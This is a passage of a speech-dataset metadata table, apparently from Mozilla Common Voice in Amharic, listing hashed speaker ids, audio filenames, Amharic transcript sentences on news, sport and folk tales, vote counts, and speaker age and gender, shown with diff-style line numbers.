630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790454.mp3 253cd679d53964f4b4aa46378dfdfa40b02c9b4e7286781848de8ecc51888290 በኤፍኤ ዋንጫ ጥሩ ተጉዘዋል። 2 0 thirties male_masculine am
|
| 69 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790455.mp3 65bb3c61027be32af3da7a51806a8aa12611ad82057bc9611d0af2a928c87f69 ውጤት ለመገመት ከሚከብዱ ጨዋታዎች መካከል አንዱ ይህ ነው። 2 0 thirties male_masculine am
|
| 70 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790456.mp3 55b836ea50072744f8fced9d63108473442343415b2d814a00abcdc095a0bb47 ትእዛዜን ስለምትፈፅም ከሚስቴ ጋር በሰላም እኖራለሁ፡፡ 2 0 thirties male_masculine am
|
| 71 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790457.mp3 5d5bf39dada2d7fa28296f7c4471c938ed2f88c580cba12b24a07f8df926ebb5 እናትየውም ይህንን ማድረግ እንዴት ይቻልሃል ብላ ጠየቀችው፡፡ 2 0 thirties male_masculine am
|
| 72 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790458.mp3 22afbcc856070eea5669e0198827e9519658bb67ac13bbe2ea84c64bd26d351d መቼ እንደምንወጣ የምናውቀው ነገር የለም። 2 0 thirties male_masculine am
|
| 73 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790469.mp3 4eab8aa57a076d2f07b6d22a16a2098d75eeefe2bc9c51adeada48bc4e82a9a9 ሌላኛውም ወርቅ ነበረው፡፡ ሶስተኛው ግን መሬት ብቻ ስለነበረው ተበድሎ ነበር፡፡ 2 0 thirties male_masculine am
|
| 74 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790470.mp3 6515ff187cc1a78890f29747e9e96b01c681d5e59ba87b781896dfc73b3083d1 የብልጽግና ጉዞ ሁሉም አሸናፊ የሚሆንበት የኅብረት ጉዞ እንጂ ጥቂቶች የሚያሸንፉበት የጥሎ ማለፍ ሩጫ አይደለም። 2 0 thirties male_masculine am
|
| 75 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790471.mp3 4a7ec35640244f03dc15771521f80f391d852ddfce0403733364e6d3a44ede14 ቴምቢ እህታቸው ለዘጠነኛ ዓመታቸው በስጦታ የገዛችላቸው ነጭ ፓላዞ የተሰኘው ሱሪ በአሁኑ ወቅት አለመኖሩ ይጸጽታቸዋል። 2 0 thirties male_masculine am
|
| 76 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790472.mp3 0194cf2299b29c978418460c3bf23eb67e265912286dfbe0594719e7a68fe6a9 የእርሳቸው ታሪክ ትምህርት ቤት ሆኖ ይቀጥላል ሲሉም ገልጸዋል፡፡ 2 0 thirties male_masculine am
|
| 77 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790473.mp3 2875b44a4a919e0048b63d6479bad4b20a0275699eba2e324b44b3a5881911bf ዓለም የወር አበባ ህመምን ከባድነት ለመረዳት ዘመናትን ፈጅቶበታል። 2 0 thirties male_masculine am
|
| 78 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790559.mp3 39efd761a9ec5f02dfc3bf9af9c4a63605e9fb5216adaea5bfebca4733f6c70a ስለዚህ ወደ ሱዳን የመግባት ዕድልዋ ሰፊ ሊሆን እንደሚችልም ያነሳሉ። 2 0 thirties male_masculine am
|
| 79 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790560.mp3 0a318505d921d198dc1c93fe9b28fabfe9abe44985b6bfd31cfee2f8b0f1077a በኢትዮጵያ የተወሰኑ የማኅበራዊ መገናኛ ዘዴዎች ላይ የተጣለው ገደብ እንዲነሳ የመብት ተሟጋቹ አምነስቲ ኢንተርናሽናል ጠየቀ። 2 0 thirties male_masculine am
|
| 80 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790561.mp3 5996ba7d1024986a1272ffcfe1f2c569fb829f6023e4505a73dd7113efaa7923 የመጽሔቱ አሳታሚ ዋና ዳይሬክተር ቢያንካ ፖልማን ተናግራለች። 2 0 thirties male_masculine am
|
| 81 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790562.mp3 6101dd8640f7f7e03cae02cb3a209401fd195dbef71bef3eeeb1e4b2f2a59a26 ጥናት ተመራማሪው በበኩላቸው ክሊዮፓትራ “የቆዳዋ ቀለም ቀይ የነበረች እንጂ ዘሯ ጥቁር አይደለም” ሲሉም አጥብቀው ይከራከራሉ። 2 0 thirties male_masculine am
|
| 82 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790568.mp3 510ec21d05ddeaf3caee791849d37ad39d1b18ac1de0af55f2c9888764038216 የሰው ልጆች ምናልባትም ከመቶ ዓመት በላይም ሊኖሩ ይችላሉ ብለው ሳይንቲስቶች እንዲያስቡ አድርጓል። 2 0 thirties male_masculine am
|
| 83 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790569.mp3 4f7f64f2e0968cb105b7d39593c108325478c0062b06d3d632555e7e5022cb12 ይህ ደግሞ አካላዊ ዕድገትን ብቻ የሚመለከት ነው። 2 0 thirties male_masculine am
|
| 84 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790570.mp3 66ce24b19805b621aca80185c5e59c25e1d310c3e3d1a6e58c790809250fe611 ህጻናቱን የሩሲያ ዜግነት በመስጠትም ዩክሬንን ከአገርነት ለመፋቅ የሚደረግ ሙከራ እንደሆነም ይናገራሉ። 2 0 thirties male_masculine am
|
| 85 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790571.mp3 4311125f05ab0202411bf09ed32e68377ee97dfc1fc6181fb2ac25fb5892edb8 አሰልጣኝ ውበቱ አባተ ከኢትዮጵያ ብሔራዊ ቡድን ዋና አሰልጣኝነት በጋራ ስምምነት መለያየታቸው ተገለጸ፡፡ 2 0 thirties male_masculine am
|
| 86 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790572.mp3 53b4f1f621db879b17df14a091753623bf66c8c65f695afb0c1233aee8373445 ይልጅቷም አባት ለምስኪኑ ልጅ የወርቅ ቀለበቱን ሰጠው፡፡ 2 0 thirties male_masculine am
|
| 87 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790584.mp3 22916d655056b23300483c8295c06bc0ae5064822dcc90e2cc496602bbecdfd1 ለኢትዮጵያ እግር ኳስ ፌዴሬሽን ባቀረቡት ጥያቄ መሠረት የሥራ አስፈፃሚ ኮሚቴ በጉዳዩ ላይ ተወያይትል 3 0 thirties male_masculine am
|
| 88 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790586.mp3 5915bf744d3eff51b20344cc53ffaf5af4ef044d3d34397e115529096b3174a1 ለዚህ ያበቃቸው ሙስና አጣሪ የፍርድ ሸንጎ እንዲቀርቡ ተብለው ባለመቅረባቸው ነው። 2 1 thirties male_masculine am
|
| 89 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790588.mp3 4162bbf5543163beeb68883566b35f6bd9eba2b4d9aa9d4dbaf80b11a712e116 ሄምቲ በዋነኝነት የሚሊሺያ መሪ ነበሩ 2 0 thirties male_masculine am
|
| 90 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790589.mp3 66ab5f8707a45e60f10fce535159bee26436163a949da651dc1c0cba10124e2d ያ ሁሉ ፈንጠዝያና ደስታም ደብዝዞ ስጋትና ፍርሃት በነዋሪዎች ላይ ነግሷል። 2 0 thirties male_masculine am
|
| 91 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790592.mp3 110a3498f84fe67f42174094fdf8c847de611a932645227c016e85aa5c9b018b እርሱም ወደቤቱ ወስዷቸው ምግብ እንዲበሉ ሰውየው ሚስቱ ምግብ እንድታቀርብ አዘዛት፡፡ 2 0 thirties male_masculine am
|
| 92 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790594.mp3 634a005c70123130a193434e56a169f4083fd761bda07cf6e677017e543e2de5 ጦርነቱ ከሦስት አስርት ዓመታት በኋላ በአውሮፓውያኑ ሁለት ሺ ሁለት ነበር የተቋጨው። 2 0 thirties male_masculine am
|
| 93 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790595.mp3 507db338ba25999761fd961c86e530fe83415fd563848f832f4952de41511e7d እነሱም ስለ ሐዋርያት ስሞች ዘመነ ማቴዎስ፣ ዘመነ ማርቆስ፣ ዘመነ ሉቃስ እና ዘመነ ዮሐንስ ይባላሉ። 2 0 thirties male_masculine am
|
| 94 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790596.mp3 53fb86ad57714c64a3b2b1596ada918130f17122c086bf34d3fd2cdfaed09b03 የተሰበረን ልብ ለመጠገን ግን ጊዜ ይወስዳል። 2 0 thirties male_masculine am
|
| 95 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790602.mp3 31c0e6bad3f8ea5a466c5f51f464104a987d70466b84044f31854ad37a8d4db5 ምክንያቱም የእግዚአብሔርን ሥም ስለማይወድ አዎ ብቻ ካልከው ትሸለማለህ አለችው፡፡ 2 0 thirties male_masculine am
|
| 96 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790603.mp3 6527705ae22db7179010a038766a19a469ad390e2db6ef9648b45e81a7976711 እነርሱም አዎ ሲሉት ለምን እንደዚያ እንዳደረኩ ታውቃላችሁ ብሎ ሲጠይቃቸው አናውቅም አሉት፡፡ 2 0 thirties male_masculine am
|
| 97 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790604.mp3 6818bf66a88ad20d8daf8c5006e4ed048f29bceb45cb7b0bfd2695b9d26f6710 በሱዳን የወደፊት እጣ ፈንታ ላይ እየተፋለሙ ያሉት ሁለቱ ጄነራሎች 2 0 thirties male_masculine am
|
| 98 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790605.mp3 4b6e96ecaed043f98822bd8e791b721b47d7d9addfb747c640d049db19b66636 ይህ ብቻ በቂ ስላልሆነ ለምን አንድ ቀን አብረን አናድርም?” 2 0 thirties male_masculine am
|
| 99 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790606.mp3 65afbba74f1bcf7892efeafae2680ef6b04f91b954f79c5320699cf95cdd1e0e ቋንቋውን የሚያውቁ እና የሚያገለግሉ ኤጲስ ቆጶሳት በቀጣይ የግንቦት የካህናት ጉባኤ ላይ ተወስኖ እንዲሾሙ 2 0 thirties male_masculine am
|
| 100 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790612.mp3 4779352247e8632095e17fa97d6e73cc6a380446f530fa89f9ef6bbbba7c9ede ነገር ግን እሱን እንደ አደጋ መመልከታቸው በጣም የሚያስደንቅ ነው። 2 0 thirties male_masculine am
|
| 101 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790613.mp3 29af20372c94f2251ccf39f1a16b015ba96a2dba85b91b5267ed4e608df551ff የኢትዮጵያ ፕሬዝዳንት በአገሪቱ የሃይማኖት ጉዳይ የእምነት መሪዎች እና የሃይማኖቱ ተከታዮች ጉዳይ ነው ሲሉ ገለጹ። 2 0 thirties male_masculine am
|
| 102 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790614.mp3 54548c8586d965b2c0ebc2b4534821375d02046f6caf1cd304e8fc89876ea7ed ሱዳን ላለፉት ቀናት በግጭት እየታመሰች ነው ሁለት ጀነራሎች አንጃ ፈጥረው ለስልጣን ሽሚያ ግጭት ውስጥ ገብተዋል። 2 0 thirties male_masculine am
|
| 103 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790615.mp3 09bad287f4c496a6088317c2138ec1fa01dcabc5bd2e2b15c747da0ccced4662 ልጄን ሳዘው ሁሉንም ነገር ያመጣልኛል ያልኩትንም ሁሉ ይፈፅማል፡፡ 2 0 thirties male_masculine am
|
| 104 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790622.mp3 5219c9ae5f7dbebe16acf73588cde91d99ae16192bc06c88223ae3d920a0b20c የሕዋስ ተመራማሪ የሆኑት ፕሮፌሰር ጃኔት ሎርድ ብዙ ዓመት መኖር ጥሩ ኑሮ መግፋት ማለት አይደለም ይላሉ። 2 0 thirties male_masculine am
|
| 105 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790623.mp3 3a8141054d5b2c40d69686c172fd5a9bfdd60945d455dd3e516dfcc9ca8d5af4 ታፍነው እየታሰሩ እና የመገናኛ ብዙሃን ተቋማት ያለ ፍርድ ቤት ትዕዛዝ ብርበራ እየተካሄደባቸው ነው አለ። 2 0 thirties male_masculine am
|
| 106 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790624.mp3 2d2e1bb2c19bc707d0b7016d9b291e0426787d4fc0925a0b3094ebf6abcd4a82 እንዲያውም ሲጋራ ካልሰጣችሁኝ ራሴ እየወጣሁ እገዛለሁ ብለው ማስፈራራት ጀመሩ። 2 0 thirties male_masculine am
|
| 107 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791277.mp3 155ccec89f3c63e6e1369480ea204f7612374a44177a6c2c6583310f2ea1cb0a በቅሎዋ በድንገት ተደናቅፋ ስትወድቅ ጌታውም ጉድጓድ ውስጥ ወድቆ ክፉኛ ተጎዳ፡፡ 2 0 thirties male_masculine am
|
| 108 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791278.mp3 0150146acc46224268df98bee726f0611767aca77b89f62a647a5297ed6b1f89 እኔ ግን ገንዘብ የለኝም አለው፡፡ 2 1 thirties male_masculine am
|
| 109 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791279.mp3 6123f9a84344e4ba2e64bf52f3621d2f213165e9d2de8fca3856f477865bf9d4 ዩናይትድ ኪንግደም እንዴት ዜጎቿን እንደምታስወጣ እያቀደች እንደሆነ ተገልጿል። 2 1 thirties male_masculine am
|
| 110 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791280.mp3 66bdbbfc98fc2f76d17b36e8bb7654225e969ed9e766d56311b562357bcd2671 ስለአጽናፈ አለም አፈጣጠር ለማወቅና ያልተፈቱ በርካታ እንቆቅልሾችን ለመፍታት ከፍተኛ እገዛ የሚያደርግ ነው ብሎታል፡፡ 2 0 thirties male_masculine am
|
| 111 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791281.mp3 6b619c4da7b6df461fb43fcea01b6b8ee9e8494187cf99690b9005c302b915ac አባቷም ልጅቷ በጣም ሃብታሙን ሹም እንድታገባውና በዚህም መስማማቱን ነገራት፡፡፡ 2 0 thirties male_masculine am
|
| 112 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791282.mp3 143c250004e36c6bc8c0f0602d55ed106b9da2762d8ad6f5ed1b82b85010fedd እንዲሁም ኬንያዊቷ አትሌት ፔሬስ ጄፕቺርቺር ሦስተኛ ደረጃ ወጥታለች፡፡ 2 0 thirties male_masculine am
|
| 113 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791283.mp3 400faca10df4e4c6d8d4b0c1870a4ce7fd2b2f14733ee05d6fa33d07f8461f01 ነገር ግን ግብጽ ወደየቱ ላዘንብል በሚለው ውዝግብ ውስጥ የገባች ይመስላል። 2 0 thirties male_masculine am
|
| 114 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791284.mp3 15ea776196ecefe84b20adcd2d5a3b12ea257fa8f8cc558ff096040875365701 በዚህ ጊዜ ውሽማዋ መጥቶ “በሩን ክፈቺ እያለ በሩን ይደበድብ ጀመር፡፡ 2 0 thirties male_masculine am
|
| 115 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791286.mp3 572cabf707dcef0233aebfc2dfe27d0c0fd9baa209c7f56ad4cc230151a5e71d ቤተሰብ ዘመድ አዝማድና ወዳጆችዋ ሀገርቤት ናቸው። 2 0 thirties male_masculine am
|
| 116 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791287.mp3 404ad2f3776ea14a254d34cec94a1b93ee7ccb05243b9ec56d2a78043056389e አክለውም ስብ እንዲሁም ሚነራል የተሰኙትንም ንጥረ ምግቦች ከሥጋ እንደሚገኝ ያስረዳሉ። 2 0 thirties male_masculine am
|
| 117 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791288.mp3 6774d852ed14a572ae1da7a2b3c4efd9c00a05e7e00bbf246774f7bcf89b4727 የሌላ የእምነት ተከታዮች በእምነታቸው ምክንያት ለእስር ለስደትና እንደሚዳረጉ ይነገራል። 2 0 thirties male_masculine am
|
| 118 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791289.mp3 366e1c22450a3b4a380a73b17bb7186b323046d530064f52f8d4362cfbed8e2a ብዙ ሙስሊሞች ድካም ስለሚሰማቸው እንቅልፍ ነው ድካሙን የሚያጠፋልን ብለው ያስባሉ ይላሉ ቁረይሺ። 2 0 thirties male_masculine am
|
| 119 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791290.mp3 4e7a201d635b56b2e644fc1bb300851992ab01f15d29db1961d8d123827065a9 ይህ ሁሉ ሲሆን የሚሰቀለው ሰው ላይ የሚፈጠረው ህመም በቃላት ለመግለጽ የማይቻል አሰቃቂ ነው። 2 0 thirties male_masculine am
|
| 120 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791291.mp3 0fc4bc7f6f00d03b86eaa35894480c4a839b2294ac92f8294693de416aa69369 የሪዮ ኦሊምፒክ የአስር ሺህ ሜትር ወርቅ አሸናፊ አልማዝ አያና ተወዳዳሪ አትሌት ናት። 2 0 thirties male_masculine am
|
| 121 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791292.mp3 352c23bd8a1f253636a8956c9e196fff05999b0a8768b872f88069831b324796 በ ሁለት ሺ አስራ ሰባት አገራቸውን ለቀው ቢሰደዱም በሌሉበት አምስት ዓመት ተፈርዶባቸዋል። 2 0 thirties male_masculine am
|
| 122 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791293.mp3 3d73383bf33d9dc44c3dfc25ded71d0fc91db57451d042d0cdea48090e769e56 ፎርሙላ አንድ ያሸነፈው በቤንተን ሥር ሆኖ ሲሆን አምስት ጊዜ ያሸነፈው በፌራሪ ሥር ሆኖ ነው። 2 0 thirties male_masculine am
|
| 123 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791294.mp3 51d1ab8eb8d5b6be1580c104add2472180d1e54d7af9bc118f4bb356680dfacf በዋሽንግተን ዩኒቨርስቲ የተሠራ ጥናት እንደሚያሳየው በዚህ ምዕተ ዓመት የሰዎች በሕይወት መቆያ ዕድሜ ይጨምራል። 2 0 thirties male_masculine am
|
| 124 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791295.mp3 47c1db11874d6701ebda51aed22d2ba44f622805f044c2ca55f104a4ca93c98b ልጄ የተቀበረ ፈንጂ ሰለባ እንድትሆን አልፈልግም 2 0 thirties male_masculine am
|
| 125 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791296.mp3 5db42f10f2a6010bbbbd031f2f1cd3e3240a3c97d89d7225f75660313faff053 በዚህ ጊዜ አገረ ገዢው በጣም ተበሣጭቶ “ይህንን አይደለም መሰብሰብ የነበረብህ ብሎ ጮኸበት፡፡ 2 0 thirties male_masculine am
|
| 126 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791297.mp3 0cd98d6f83dfd060b5458eba9b336c547af7451f41ad2daafdbc9a3b1133aeb5 በማግስቱም ሌላ ማግኘት እችላለሁ አለ፡፡ 2 0 thirties male_masculine am
|
| 127 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791298.mp3 597e6f5ceaf3184c01f409b9643322e16e6b8fa56e3cb9e7b5cefd24d0e0fc13 እኔ ደግሞ ከፍተኛ አደጋ ባጋጠመህ ጊዜ አድንሃለሁ፡፡ 2 0 thirties male_masculine am
|
| 128 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791299.mp3 24481b5d1d59bef653ed3e39fc7f84a9c8825d7700958d37948e3e62cb41e44a ጆርጂዮ ሜሎኒ በኢትዮጵያ በነበራቸው ቆይታ በጠቅላይ ሚኒስትር ዐቢይ አሕመድ በታላቁ ቤተ መንግስት የክብር የእራት ተጋብዘዋል፡፡ 2 0 thirties male_masculine am
|
| 129 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791300.mp3 0ab1cb53012b1f6cc5ee094f874a9337fd4239cff89398e410134e1df13ed4b6 የማሪዩፖል ከተማ ለወራት ከዘለቀው መራራ ጦርነት በኋላ በሩሲያ ወታደሮች ቁጥጥር ስር ውስጥ ገብታለች። 2 0 thirties male_masculine am
|
| 130 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791301.mp3 64f5388761bcd7e1ee019caf7febc47f3b5783591a1f1e92bb356501c8ee432e እንደምናስተውለው ከሆነ ሠራተኞች ልጆች ዝም ጭጭ እንዲሉላቸው ነው የሚፈልጉት 2 0 thirties male_masculine am
|
| 131 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791302.mp3 281e83eec6bf87e380238f19f8f13b1e9e4cdcc3bdfea8adefa3eb42749988ff ፈተናው ተሸናፊ ነው። 2 0 thirties male_masculine am
|
| 132 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791303.mp3 5b042fbb003bbea7cea1b81153b0344f4bce4eb5c4bfe053849ed8c73f389ca8 በመጨረሻም ያለን ብቸኛ እድል መሰቀል ብቻ ነው አሉት፡፡ 2 0 thirties male_masculine am
|
| 133 |
+
